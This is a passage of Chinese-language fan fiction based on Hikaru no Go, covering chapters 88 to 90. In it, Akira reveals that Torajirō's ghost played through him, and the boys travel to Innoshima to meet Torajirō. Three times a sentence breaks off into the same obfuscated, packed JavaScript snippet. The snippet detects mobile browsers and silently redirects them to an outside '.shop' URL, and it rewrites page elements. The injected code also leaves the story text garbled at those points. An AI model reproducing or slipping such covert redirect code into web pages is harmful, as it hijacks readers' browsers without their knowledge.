当佐为还在思索的时候,无意间视线对上了亮的目光。 亮正在等待下一步棋,他全神贯注聚焦在棋盘上,等待着佐为的反应。 “他在等我下尖是吗?” 佐为握着扇柄的手微微一动。 既然是对方的期待,那么回应他又何尝不可? “15之十六,尖。” 光放下子。 亮的目光一亮。 ——来吧。 佐为在这广大的十九路棋局世界里,如此邀约着对方。 亮的手如行云流水般伸向棋盒,将白子夹在指尖。彷佛与棋盘和白子问有线连接一样,然后他探出手。 清脆明亮的声音响起,亮放下了棋。 位置有些奇怪。 “咦……怎么感觉……” 光心里升起了疑惑,他不是对弈的一方,只负责按照佐为的指示把棋子放上去而已,但这并不代表他的感官会迟钝。 站在光的角度来看,亮完全是抱着必死的决心在落子,很多招式一点也不算成熟。 以往的塔矢亮下法非常严谨,即使面对佐为,他也会加倍注意,不让自己陷入太琐碎的争斗当中。 可是现在,从头到尾,亮一直都非常积极地追逐着细枝末节。不放弃、不浮躁、紧迫盯人、迅速突入。对于佐为的任何试探,他都百分百予以回应,哪怕一不小心就踏得太深。简直就像在期待佐为会如何回应、故意设计了一些不常见的路数。 也是,硬要说出人意料,佐为的第一手天元才是真叫人摸不着头脑吧。 不过这样也很有趣。光忍不住翘起嘴角,他和社清春交手时的新鲜感又回来了,后面的形势也会像那时一样发展吗,佐为和塔矢亮会下出怎样的一局?想想都令人起一身鸡皮疙瘩! “……” 佐为暂停了攻势,默默思考。 他也发现了,这时亮的下法和早上的职业考试大不相同。 随着棋子一颗颗落下,亮主动舍弃地盘换取更高风险的胜利的倾向逐步明晰。 总觉得……哪里有些不对劲…… “塔矢今天下得好乱来,我都看不出章法。这可是和佐为下棋哦,刚刚那一手,完全就是臭棋嘛。”就连进藤光都忍不住在脑内向佐为表达了不解。 恶手吗?佐为再次举起扇子,沉默着将棋局继续下去。 佐为很少这样寡言,他是师长一般的人物,让光代替自己下棋时,一定会和光讨论每一步的用意。他们之间的对话不会外传,也就没有“观棋不语”的限制。 可是刚刚他的态度忽然变了。 就像是从棋局里发现了什么令他太在意的东西、无暇顾及外界一样。 光观察着塔矢亮的神色。他还是那么冷静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14196885|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看不出真实想法。 反而是佐为失去了平常心。序盘时,佐为所有试探性的棋子全都遭到反击,甚至还被亮步步进逼,就结果而言,佐为成功抵御了每一次亮的挣扎,可他却越下越像踩在泥潭里。 佐为显得微微焦躁,于是出手变得凌厉,但亮却坚定地接下了攻势。 “……” 原本佐为还能引导亮的悠然心情,在不知不觉中消失了。他有些后悔一开始用悠哉的态度应战。 因为在棋局序盘时的留手,让佐为陷入长久的苦战。但是对方并末下错子,而且甚至还出手得越来越迅速。 结果佐为一路被穷追猛打,逼得他不得不全力以赴。 面对实力显然在自己之下的对手,佐为却毫不心软地追求胜局。这并不是佐为平常的作风,塔矢亮竟然能把佐为逼成这样,令进藤光感到惊讶。 的确,亮年纪轻轻,却已是一头猛狮、一条巨龙。但是……这个下法和亮的下法又有点不同…… “——啊!”光忽然想起什么似曾相识的场景,惊讶地叫了出声。 亮和佐为都好奇地看着他。 这一局……他记起来了!是6月的夏季围棋联赛的时候,他在梦里见过的那一局! 冷汗直接冒上光的后背,但他清了清嗓子,假装无事发生。 后面发生的一切都和梦境里的相差无几。原来那时的梦是预知梦?但也不对,那时下棋的人是自己和佐为,现在下棋的人可是塔矢亮和佐为,怎么会一样?当时他就觉得那种下法和自己的口味并不一致了…… 在他苦思冥想的过程中,棋局也还在继续。 不过胜负已经到了后半。熟悉的定式,见首便可猜到尾的追逐,偏生偶尔冲出几个柳暗花明的生路,惊险暗藏在平静无澜的表面之下,让亮越陷越深。 决定棋局胜负的关键在亮的最后一句话。 “……的确是sai。”他垂下了头,“是我这边输了。” 似乎早有预判一样,亮这么说道。看起来像经过深思后的结论。 光的视线不停在亮以及棋盘上游栘。 抛开梦里的疑惑不管,这怎么看都是一局好棋。 他心中埋下的那颗种子,也再度发芽了——如果佐为最初不是附身在他身上,而是去找了像塔矢亮这样真正有围棋天赋的人,也许……未来会很不一样吧。但是,正因为佐为选择了进藤光,他才会像今天这样坐在塔矢亮的面前,成为他的引导者。他们终究,都是依靠互相的促进来进步的。 “什么,什么,sai?”旁观的进藤平八惊呆了,“你们是在说网络上那个sai吗?他可厉害了!报纸上全都是他的动向!” 糟了,塔矢说出口了—— “啊,诶,呵呵……”光连忙制止了塔矢亮继续说下去,解释道,“是啊,sai很厉害的……我这不是在学他下棋吗。” “你学得还有模有样的嘛!” “因为我已经是职业棋士了啊,爷爷!”光装作很骄傲的样子扩大了声音,“以后要把我当大人看待哦!” “不好意思,爷爷,请问有水吗。”亮忽然和平八说话了。看来是想故意支开他。 “是噢,我这记性,看入迷了就忘了倒茶!等着,我去给你们俩弄点吃的来。”进藤平八哈哈大笑着站了起来,“慢慢复盘着吧!” 然后他就走进室内去找水果了。他没起任何疑心。平时进藤光的棋风就和佐为有些相似,一般人乍一看可能会觉得两个人的棋就是同一个人下的,这很正常。塔矢亮之所以能发现,也是因为他与光交手的次数过多而已。 亮还沉浸在刚才的一局里,无法自拔。 问题在于…… “进藤。” 过了一会儿,塔矢亮开口了。 “嗯?” “真不可思议。” 亮如此感叹着。 光被他眼中闪烁着的光芒吸引了注意力。 “塔矢……” “我还是有点吃惊。”亮有些坐立不安,“我之前是在和一个一千年前的棋手下棋吗?想到这件事,我就觉得有点难以置信。” “我想也是。”光笑了,“佐为刚出现的时候,我还以为他是来索命的,吓了个半死呢!” 佐为不高兴地拿扇子戳了一把光的头。 “不可以这么说!小光!我很温柔的!也不会索命!” “哈哈……” “你的话说完了,现在该轮到我了。”没想到,亮支开进藤平八的意图并不止这些,他还藏着巨大的秘密没有说出口,“我想佐为可能也发现了。刚才的这一局……下棋的人,并不是我。” 89.Chapter 88. 两个幽灵? 光的笑容顿时僵在了脸上。 随后,极快地变成了惊愕。 “你说什么——” 他会如此震惊也在亮的预料之中。亮郑重地点了点头。 “刚才下棋的人……是秀策老师。也就是你故事里的桑原虎次郎。现在这个时刻,他就坐在我身后。” 亮的话语彻底引爆了光心中将信将疑的炸弹。 轰隆一声——脑子里像遭遇了剧烈冲击一般,夺走了他全部的言语。 虎次郎?!在塔矢后面?! 意思是…… 光揉了揉自己的眼睛。明明什么也看不到啊。 他飞快地转向佐为。出乎意料的是,佐为脸上的惊讶并不多,反倒是十分平静。 只是,那垂下的扇子微微颤抖着,叙说着他的动摇。 “果然如此。”佐为垂下眼帘。 “果然?” “下到一半我就注意到了,这不是塔矢的风格。” 棋盘上的棋子就是最好的证据。佐为的意思光也明白,他的确也觉得哪里不太对劲,可是仅凭这一点就能看出下棋的是虎次郎吗? 等一下,听佐为的描述,佐为也看不到虎次郎本人!难道幽灵和幽灵彼此也不可见吗?不对啊,在因岛的时候,他们明明都见到了虎次郎的魂魄啊,只有塔矢没有看清!为什么现在反过来了! 光吃惊地左扭头右扭头的样子,让亮无奈地叹了口气。 亮有条不紊地解释道:“自从上次在因岛受伤之后,他就一直跟着我。起初我也模模糊糊的看不太清,只觉得有什么东西,但过了几天,进藤你们决定返回东京之后,我就能完全看清他的身形了。光看发型和衣着就不像现代人。” “诶?!难不成你职业考试的时候也——”光顿时产生了不好的想法。 “别误会,职业考试都是我自己下的,但我确实有向桑原老师请教秀策流的下法。结果受益匪浅。”说着,亮向后扭头,对空气低头执意,就像学生在向老师行礼。 亮的语气越是冷静,光的心跳就越是剧烈。 难怪考试里的塔矢亮能把秀策流下得那么高超!甚至差一点就赢了自己!当时光就怀疑他是不是请了特别的外援指导! 可是,就算再让他猜一百次,他也绝不可能猜到那个指导就是虎次郎! 原来如此,原来如此,这样一来就连起来了!因为虎次郎原本就是会下棋的,而且水平并不差!那么,他6月在梦里见到的弈者多半也是虎次郎,只是他误以为那个人是自己、一时没有多想,仔细回顾一下,下棋的过程中他确实一次都没观察过自己的身体……从头到尾都是佐为和虎次郎在对弈! “等等等等等等!可是为什么虎次郎会跟着你?” 光头痛地捂住了两边的太阳穴。 就算要附身,不应该也是附身进藤光吗?这样才能和佐为相见啊! “嗯?虎次郎是谁啊,你们在聊什么呢,这么起劲。”不巧进藤平八此时插入了他们的对话,这让迫切想知道真相的进藤光急得抓耳挠腮,偏偏爷爷语速还很慢,“来来来,塔矢君,这是最上好的玉露茶,只给你喝,小光就喝普通的红茶吧。” “爷爷!!!” 平八还以为光的抗议是因为自己开了个区别对待的玩笑,一脸纳闷地哄了孙子几句,却毫无效果。 因为此刻的进藤光根本不在乎茶的好坏。他唯一在意的就只有虎次郎的事而已。 亮连忙安抚他:“没事的,进藤。后续我们去因岛再说。” “……那现在就去!” “我还要去医院复查,最早也是明天。” “那就明天!” “你们去因岛干嘛啊?那么远的乡下地方。”进藤平八自然听不懂他们之间的密语。 光只能暂时按下心里沸腾的情感,勒令自己假装没事人一样开始复盘,再怎么着急,他也得等到和塔矢亮私下相处时再聊虎次郎的问题。 胡乱复盘了几句后,他和亮就急匆匆地告别了爷爷,各自回到了家中。一星期前,光基本确定会成为职业棋士时,他就向妈妈报告了自己的前程抉择——他准备不上高中,直接去棋院工作,所以国中这边的课也会大面积请假。美津子觉得有点担心,还特意去佐和良中学找他的班主任谈了谈心。她回来之后,就很认真地告诉光,以后不会再干涉他的生活节奏。 所以,光现在拥有了随意晚归和离家出差的特权,就算一时起意再去因岛也不必担心暴露。不过他暂时还不想搬出去住,上辈子的遗憾就像一道伤疤,刻在心上,迟迟无法愈合。他想帮助妈妈把身体养好,监督她多休息,免得重蹈覆辙。 吃过晚饭,又收拾了餐具,光才回到二楼,呈懒散的“大”字躺在床上。 久违地……有种如释重负的感觉…… “小光。” 佐为终于找到了和他单独说话的空隙,飘到了他身边。 他眼中的期待和隐忧都一分不少地传递给了光。 “佐为。”光给了他一个笑脸,希望他能因此而感到一点欣慰,“怎么样,是不是很惊讶?发生了这么厉害的事……” 这样一来,他们第一次见面时,光说的那句“因为我们上辈子是好朋友”的深意也就自然水落石出了。 那时的他,究竟怀抱着怎样复杂的心情呢? 只是尝试着想象了一下,佐为就忍不住的心疼。 一个曾经离自己最近的人,突然消失得一干二净,在十多年后,二人再度相遇,他却早已不记得他的存在。小光一定很伤心吧。即使是这样,也不得不强颜欢笑。那就是他最真实的心情。 “惊讶吗……惊讶归惊讶,可那不是最重要的。小光竟然如此在意我,我深受感动。”佐为想了想,最后只能这么说,“虽然不能分享你的上次人生有点寂寞,但是,能和你一起回到世间,下了这么多的棋,还遇到了塔矢行洋,我已经很幸福了。” 他是真的很幸福。 而光却误会了他的意思,还以为他又要消失了,吓得从床上蹦了起来。 “别这么说!”光认真地握着双拳,道,“你还也有很多棋要下呢!虎次郎你还没见到!中国那群变态级的棋手你也还没交过手!还有进化过的塔矢老师在等你!怎么可以现在就心满意足嘛!幽灵这种东西,要是没了执念,可是会消失的哦!给我好好对现世的东西念念不舍着吧!佐为!” 干脆一辈子都不消失才好呢!最好以后还能附身到下一个喜欢围棋的人身上去!然后再下一个!下下个! 永远、永远都不会结束! “哈哈……”佐为笑了起来,他对光的善良充满认同,“是啊。我喜欢这里。也喜欢小光。生日快乐,小光。” “嗯,我也喜欢佐为!”光使劲点了点头,“虎次郎也回来了,还附在了塔矢身上,这是我上一世根本没遇到过的意外,事情一定会有转机的!” 这时,楼下传来了美津子的声音:“小光!有朋友来找你啦!” 她这一叫,才打断了光与佐为之间的交流。虽然现在光满脑子都是“虎次郎”,但今天毕竟是职业考试正式结束的日子,还是自己的生日,一直晾着朋友们多不像话。而且,佐为的事也终于告诉了塔矢,现在光的心里没有任何负担,快乐得像个孩子。 “好,我马上下去!”他顺便回头对佐为挤了挤眼睛,“一定是明明他们。” “喔……来为你加油的吗?” 佐为和他一起飘到了楼下。果然,藤崎明出现在了客厅里。不过不只是她。还有好几个同伴也站在她的身后。 “小光!生日快乐!你终于回来了!”藤崎明首先扑了上来,给进藤光一个大大的拥抱,“从现在开始你就是职业棋士了吧?真厉害!要是我下个月也能院生合格就好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14220588|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,快分点好运给我!” 光被她突如其来的热情涨红了脸。他努力维持着表面的平静。 “也就正常发挥而已啦。咦,三谷,你怎么也来了?你这造型是怎么回事?初中生不可以烫头发的吧?” 他对着三谷那拽拽的发型就是一顿吐槽。他们俩挺久没见过了,所以光一时还不能接受突然换了奇怪的韩式烫发的他。原来那个自然卷加橘红发色就已经很厉害了,他居然还不满足,想把自己搞得多吸引眼球才行啊?棋士还是内敛一点、像谦谦君子一样比较好吧? “我不可以来吗,白痴。”三谷完全无视了光对他的发型的吐槽,然后又翻了个白眼。 “三谷君!今天就先别吵架了吧。”劝架的还是筒井公宏,他比从前更像个部长了,叶濑中的围棋部也比从前那种半死不活的状态变得繁盛了许多,“进藤君,我把围棋部的大家都带来了,大家都说想要一张你的签名呢!” “是啊是啊,你在佐和良那边给了他们那么多签名,太狡猾了!” 筒井支支吾吾地递上一大摞签名用的色纸,还挺专业,连签名笔都准备好了。光突然有点怀疑,是不是他们下棋闲聊的时候约好了谁输了就带头来找进藤光要签名,然后筒井光荣牺牲——才会有这样的展开的。 “是谁在说我们学校的坏话吗。” 这时,一个不满的声音从玄关传来。紧接着,房间里走进一个脖子上挂着单反相机的三好生,正是佐和良中学的校长公子久原木子郎。由于进藤光和塔矢亮的缺席,他不得不一人吃掉了三人份的高级仙台牛舌,现在浑身都是烧肉的气味。 三谷吐槽了句“佐和良的腹黑男”,久原回以恰如其分的微笑,他手中还抱着一本没见过的书,见到光,他第一时间顺手把书塞给了对方。 “晚上好,寿星,我是来拿样书给你看的。不过这个还只是给主编看的样品,离正式出版还早。”久原说。 某个大嗓门打断了他:“好热喔,进藤家怎么这么多人?” “可恶,居然让叶濑中的先到了!明明我们才是进藤的娘家啊!” 在他身后,佐和良中的相泽、山崎、青森也都出现在了玄关,房间一下子就吵闹起来。双马尾少女山崎幸对光羞涩地笑了笑,似乎初次进入单恋对象的家让她有点紧张。 “……这是什么?” 不过,即使女孩子就在眼前,光也只在意手里那本奇怪的书。 “哇!这可真是好东西。”藤崎明抢过那本《进藤光职业棋士棋谱精选集-第一册(暂定)》,翻看了一下,就立刻被里面干净漂亮的排版惊呆了,“页面设计也全都是久原你自己做的吗?像模像样的,看着真像个职业棋士呢……” 光气呼呼地反驳道:“不是像,本来就是好吧!等一下,久原,我可是第一次听说你要出版我的棋谱啊?!” 那里面有几局可是佐为下的!不能这样鱼目混珠地拿出去卖钱! “哟,进藤害羞了!”不知是谁起哄了一句。 “才没有!真是的!你们都是来捣乱的吗?快给我坐下坐下!” “椅子不够啊。” “你站着吃就行了!块头这么大!” 光扯着嗓子开始招呼他们吃蛋糕。蛋糕是筒井带过来的,大家一起凑钱定做成了棋盘的形状,然后掐着时间送来了进藤家。佐为第一次见到这种聚会的场面,也新鲜得紧,前前后后转悠了好几圈,真是神奇,一千年过去了,蜡烛倒还是和千年前的样子一模一样。明明号称是光升上职业棋士的庆祝会,最后倒弄得和真正的生日会没两样。光嘴上这么抱怨着,其实,心里比谁都暖烘烘的。 如果一切都能按现在的步调发展下去,让他被细小而确实的幸福包围着的话……他就别无他求了。 或许因为放下了心中的大石头,这一晚是他重生以来睡得最沉的一晚。 ●○●○ 90.Chapter 89. 致全新的你 翌日5点,光一大早就定了闹铃起床,迅速抓起书包、蹑手蹑脚溜出门外。 太阳爬上了地平线。他的影子被阳光拉得长长的,走在路上,就能看到远处影子的尽头都爬上了对面人家的围墙。像这样清晨就出门的经历,对光来说也实属罕见。 上次他和塔矢亮两个人一起去因岛时,后半程是坐着夜间巴士去的,基本上算熬了个通宵,后面两天都有点困困的。这次终于可以悠悠闲闲地出发了。 “呼……” “呼……” 他和佐为站在车站前深呼吸着早晨凉爽的空气。 光的心情有种难以描述的紧张。 昨天,他才把过去发生的波澜壮阔的一切讲给了佐为和塔矢亮听。今天,他就要去追寻虎次郎的真相了。 “要出发了呢,佐为。”他对佐为笑了笑。 今天的小光笑容里没有了往日的沉重感,给人一股轻松愉快的开朗气息,佐为也备受鼓舞。 “要出发了,小光!” “进藤。” 远处出现了熟悉的人影。亮提前五分钟在约好的地点等待着他们。想到此时此刻虎次郎就以幽灵的姿态出现在亮附近,光莫名有点紧张,不由得挺直了后背。秀策可是围棋界的大前辈,虎次郎又是佐为的好朋友,他是看不见对方,可对方能看见他啊,万一失礼了怎么办! “塔矢,早。呃,也帮我跟虎次郎说一下早安。”光急着给自己找补的样子让亮有些想笑。 亮的措辞就要文雅得多了:“你也是,请替我向sai表达问候。” 双方都看不见对方的幽灵,这样倒是双方都处于同样的立场上。想到sai就在光身边,亮自然也能感到类似的紧张。 就这样僵着身体,一路上两人都没能说出几句像样的话。 出三原站后,已经是中午最炎热的时候,沿着站前的一条商店街直走几百公尺,再向右转就到了渡船口。由三原岛到生口岛上的濑户田港,高速船的班次还算密集。还好今天他们不赶时间,在蓝色的濑户内海拥抱下航行是件美事,可以心旷神怡地沿途浏览一座座如珍珠洒落的可爱岛屿。 约20分钟后,船只抵达了生口岛上濑户田町的濑户田港。 “前面有座耕三寺……是国宝级净土宗寺庙。”光仔细检查着能搜集到的旅行手册,想看看能不能发现别的信息,“看着不像和虎次郎有关的样子。” “因为虎次郎的时代,这座寺庙还没有建成。”佐为很快给出了否定答案。 “假古建啊?” 他都这么吐槽了,要是能知道虎次郎的反应多好。光也不知自己心里是好奇更多、还是不安更多。 两人两幽灵顺路又到因岛的本因坊秀策碑前献了束花。离上次来这里才过了两个多月而已,气候就已经很不一样了。初秋的飒爽让人心里的焦躁减少了几分。他们租了两辆自行车,骑车过了生口桥。又过了好大一阵,才抵达了外浦町。 前往外浦町的道路有些偏僻,这里是一个静谧可爱的小街区,即使没有秀策的故事,光是那种回到自己梦里的家的感觉,也足以让孤寂的旅者徘徊流连了。 很快就到了本因坊秀策纪念碑的所在地。纪念碑上有二十世纪初本因坊秀哉的题字。由于今天不是周末或假期,附近也没有第二个路人。它长期处于寂寞而安静的环境中,不过,在神社后面有一座托儿所,里面充满着孩子漫天的笑语,与秀策“神之一手”的孤寂做了最好的调和。 “……应该就是这附近了吧。” 从纪念碑离开后,光来到了上次拜访过的神社。这周围还是老样子,到了秋天,温度不再使人觉得闷热,树梢的叶子却没有丝毫变黄的迹象。 简直就像是时间凝固了一样。 “接下来靠你了喔,塔矢。”光拍拍亮的肩。 “嗯。秀策老师说跟着他就好。” 亮领着光走进了熟悉的岔路,他转向得十分坚定,好像是被虎次郎指引着才选择了这条路。难道这里真的还存在某个“夹缝里的空间”?佐为歪着脑袋想了想,似乎是在仔细感受幽灵的“同类气味”。在他闭上眼沉思之时,光发现脚下的影子开始发生变化——它被某种神奇的力量拉长了。 “啊……”光不禁后退了一小步。 是的,没有看错,就是被拉长了。 他抬起头,天上的云朵和阳光依旧是原来的模样,唯独影子被拉长了。这很不可思议。 他的心跳“咚咚咚”地加快了速度,佐为是没有影子的,但他不一样,他知道这事有另外的意味。光向前走去。在这个被扭曲了的空间里,他试图找到那丝违和感的所在地。 “小光,你看!” 佐为突然叫了起来,进藤光连忙扭过头,正好看到几颗郁郁葱葱的大树后露出的尖角。那应该是一座神社里的建筑。 他们果然找到了这个不存在于地图之上的神秘空间。 “就是那里吧?”他拔腿就跑,怕自己眨一下眼,面前的一切就又消失了,“我们走,塔矢,佐为!” 他们往神社的方向靠近,这次没有走到循环的路上去,成功地来到了鸟居之下。 这座神社的门前有专门用来参拜的区域,屋檐上还悬挂着一对粗大的白色结绳——那正是前来参拜的人们击掌后摇晃的对象。佐为穿过了投钱用的功德箱,往里飘去。 “不知道虎次郎和这里有什么关系呢……嗯?佐为,你在干嘛?” 光本来还严肃地思考着问题呢,就发现身前的佐为突然停了下来。他呆在了原地。光立刻意识到他是看见了什么特别的东西。 他快步跑到神社的侧面,阳光散去,他保护性地眯起双眼,再次睁眼时,就忽然在那里看到了一个身穿和服、留着疑似月代头发型的幽灵。微光勾勒着他的面孔,与佐为相比,虎次郎的长相更沉稳、朴素,却给人一种莫名心安的稳定感。 在那三十岁左右的年轻面庞下,流露出的却是无尽的沧桑。 ——是虎次郎。 “啊……” 佐为几乎发不出别的声音。 他陪伴过那么多年的虎次郎,竟然也以魂魄的身份出现在了自己面前。一时间,他还有点不敢相信自己的眼睛。 “虎次郎!”光马上喊了出来,他担心过一会儿虎次郎就会不见,只想抓紧时间快点把问题问出来,“我终于看到你了!你是虎次郎对吧?为什么会变成幽灵?为什么会出现在这里?为什么会附身在塔矢身上?为什么在外面我看不见你?啊,想问的问题好多……” “佐为,好久不见。” 虎次郎先是对佐为打了招呼,他的声音轻飘飘的,似乎很虚弱,然后,他才转向了进藤光。 “你也是佐为选择的孩子,对吧。很高兴听说你的故事。” “……是。”光点了点头,“是我。我叫进藤光。” “进藤光。”虎次郎露出了微笑,“很有朝气的名字。谢谢你对佐为的照顾,进藤君。” 他明明比佐为小那么多,却在以佐为的父母一般的语气向进藤光说话。不过也难怪。毕竟从外表上,死去之时三十四岁的本因坊秀策就是比佐为显得更年长。 “这些都先缓缓!”光努力劝他快些说,“为什么你会在这?为什么你也变成了幽灵?” 他一秒钟都不想多等。他已经等了两个多月,每天都无法控制自己往奇怪的方向瞎想,心理负担这种东西,又不是他想没有就能没有的。今天既然运气不错见到了虎次郎,光就下定了决心一定要把这事弄清楚。 “那是我也想知道的事。”虎次郎却说。 “什么?” 光以为他在开玩笑。 可是虎次郎的表情里丝毫没有“信口胡诌”的意味。 “在我死后,不知为何,我的灵魂并没有从世上消失。”他望着头顶的树叶,遥远的思绪被勾起,“我飘散到天空之上,想着,原来死去是这样的感受啊……我的意识一点点地稀薄下去,视线也全部模糊了,但是,过了不知多久,我迷迷糊糊地苏醒过来——远远地我看到了熟悉的人影,好像是佐为,还有你们,进藤君,塔矢君。” 他说到最后,语气也温和了起来。亮注意到他的目光,默默点了点头。 “啊!就是两个月前!”光恍然大悟。 “没错。但我似乎出于某种理由无法离开神社太远,所以渐渐的,我们就彼此看不清对方了。” 难道虎次郎是地缚灵,必须留在固定的地方?不论如何,这神社都起到了庇佑灵魂的作用,他不能远离,所以他上次在树林飘来飘去的时候,进藤光才会觉得他的影子那么虚弱。 在光若有所思地点头之际,佐为一直用一言难尽的神色注视着虎次郎。 “可是,你后来不是去了东京吗?”佐为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240284|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问。 “嗯,凭我一人的力量难以离开,但是塔矢正好受了伤、意识不清楚,我就趁乱附身在他身上,这样一来就可以去到其他的地方了。” 竟然还有这招趁虚而入,光有些吃惊:“诶!原来是你主动的啊!” “是的。因为……我还有未竟的心愿。” 虎次郎说着,目光凝聚在佐为身上。 他们曾经是离得最近的伙伴,如今,又都以幽灵之身存在。然而,佐为能跟着进藤光一起满世界乱跑,还可以继续下自己喜欢的围棋,虎次郎却被困在了这么小的天地内,失去了自由…… 光觉得气氛有点沉重。 “心愿……吗?” 虎次郎淡淡地笑着,说,“是的。我希望能见到佐为实现神之一手的那一天。” 他总是在替周围的人着想。他说出的心愿,也根本就不是自己的愿望,而是别人的愿望。他的幸福就是佐为的幸福。在这样一个全心全意支持着佐为的人面前,光突然觉得无比自惭形秽。 而且,他说得那么自然,一点夸张的成分都没有。那是虎次郎最真切的想法。 “……虎次郎。” 佐为似乎被他的倾诉感动了,但分离了这么多年,他又不太能拿定主意该对他说什么话才好。两人对视了一阵子,虎次郎才来到了佐为身边,像个老朋友一样坐在神社的石阶上,笑眯眯地望着他。 “现在你实现自己的梦想了吗,佐为?”虎次郎问。 佐为愣住了。 “我现在很快乐。”随即他说,“我所知道的,只有这件事而已。” 进藤光告诉他那个秘密之后,他就总是为自己的一生而庆幸。他不想给小光添麻烦,但是,知道有人那样在乎自己,心里始终还是会觉得无比温暖。他是幽灵,在世间徘徊了千年,可是他不孤单。 寂寞,却不孤单。 所以他从来都没有怨恨过小光——即使是在他那个悲剧一般的故事里,也没有起过这样的念头。分毫。 “你还是那么善良。”虎次郎略显年长的声音低沉而雄厚,让人无比安心,“多亏了塔矢,我终于能和你面对面地下棋了。从我12岁之后,我们就再也没有对弈过了,倒是有些新鲜的感觉。” 光连忙插嘴问:“虎次郎,今后你还会跟着塔矢吗?那就可以经常和各种各样的人对弈啦!” 虎次郎眼里的兴奋淡了下去。 “关于这个……塔矢君的伤势已经基本康复,想再跟他一起离开,似乎比较困难。” 这回答让光不满地拖长了声音:“这样多可惜啊!虎次郎的棋明明也下得很好!昨天你都把佐为逼到了那种地步!就连我都不一定做得到!” 虎次郎遗憾地对他笑了笑,“谢谢你,小光。但是,原本我的棋力就比不上佐为,能在一百四十年后重新同他对弈一局,就已经知足了……” “没那回事!” 佐为却认真地抗议了起来。 虎次郎惊讶地看着他。 “虎次郎有围棋的才能!”佐为才不肯听他这样贬低自己呢,“明明我从来没教过你,但你总是能看懂我大多数的棋路,不是吗?” 在他心目中,虎次郎一直是那个可爱的十岁少年,是会追着佐为的脚步到处跑的、在棋盘旁却全神贯注的、很能静下心来的善良的少年。虎次郎是他的朋友,也是他的弟子,更是他的伙伴。他们就像亲人一样,彼此陪伴了那么多年。他以为他们共处的时间,对双方都十分满足。 然而,听完了小光的故事之后,佐为第一次诞生了异样的想法。 难道虎次郎也和小光一样,其实很想自己下棋?那他岂不是……剥夺了属于虎次郎的成长的机会? “佐为……”面对如此激动的佐为,虎次郎垂下了眼睛,婉拒了他的赞许,“我是没办法和你相提并论的。” “没那回事!” 佐为着急地挥舞着袖子。但虎次郎并没有妥协的意思。看到他的表情,进藤光马上就想起了很多事——某些夜晚他独自躺在床上睡不着的时候思考的那些事。关于虎次郎的心情的事。 “虎次郎,我一直有个问题想问你。” 最后,光还是忍不住开口询问了。 虎次郎的态度十分友善。 “请说,进藤君。” “为什么……你不自己下棋呢?” ●○●○ 91.Chapter 90. 第二次的告别 光定定地看着他。这个问题听上去刻薄而犀利,佐为微微变了脸色,亮也有些惊讶,而虎次郎,却只是依旧保持着他寡淡的微笑,用最普通的眼神望着光。 也许他早就料到光会有此一问了吧。 或者说,他早就在心中,无数次地、对自己这样发问过—— 他为什么想把所有的棋都让给佐为来下呢? 虎次郎没有立刻回答。 光上前了一步,似乎在逼他直面这个问题:“你是因为觉得佐为的才华过于出众,才想把所有的棋都让给他下吗?” “小光!” 佐为阻止了光的逼问。光摇了摇头,他不想因为佐为的一时心软、而放弃直接问虎次郎这个问题的机会。一旦错过这次,说不定以后他就永远都没办法知道虎次郎的真实想法了。 “我就是单纯想知道你的答案。为什么你不自己下棋,虎次郎?你应该很喜欢围棋吧?” 光大声重复了一遍自己的问题。 虎次郎望着他的眼睛。他似乎在尝试着从光的眼中寻找到什么与自己相似的成分,但是,几秒钟后,他放弃这个举动。 “我并没有你所说的那么高尚。”虎次郎给出的答案和光想象中的却不太一样,“我不自己下棋,只是因为,我在害怕而已。” “害怕?” 光愕然了。 他一直以为虎次郎不下棋是因为知道佐为下得很好,所以把所有下棋的机会都用来满足佐为的愿望。 他一直以为,虎次郎是懂得欣赏佐为棋艺的伯乐。 所以他在潜意识里觉得自己完全无法与虎次郎相比。这个只知道自己下棋、无视佐为感受的进藤光真是自私得不能再自私了!简直是活该失去佐为!所以他才会在重生之后无比在意佐为的一举一动,就怕自己做错了什么事,让佐为提前消失。 他在心里,是羡慕虎次郎的。 而如今,虎次郎却否认了他的推断。 他说,他是在害怕? “第一次,佐为附在我身上下棋的时候,他以分先的方式轻松战胜了当时的职业棋手。”虎次郎有条不紊地解释着,他的视线回到了很久很久以前,当时的日本与现状完全不是同一个世界,“……自那之后,我就无数次地怀疑自己,怀疑凭自己的棋力是不是根本不配在他面前下围棋。” 虎次郎说到“不配”二字的时候,佐为不忍地别过了头。 虎次郎的心情,他居然一直都没能真正了解。原来他是在忍受着这样的折磨、还装成很喜欢看自己下棋的样子在微笑吗? “……虎次郎。” 